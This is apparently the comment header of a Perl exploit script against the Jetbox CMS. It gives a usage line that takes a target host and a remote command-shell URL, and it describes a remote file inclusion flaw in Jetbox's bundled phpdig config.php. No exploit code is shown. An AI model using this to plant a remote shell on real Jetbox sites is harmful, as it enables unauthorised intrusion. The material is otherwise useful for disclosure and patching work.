# uso:# 	perl own.pl <host> <cmd-shell-url> <cmd-var>

# Description
###########
# Vendor: http://jetbox.streamedge.com/
# The file jetbox/includes/phpdig/includes/config.php uses the variable 
# relative_script_path in a include() function without being declared. 
# This issue has already been fixed in phpdig, but jetbox still uses a 
# vulnerable version.
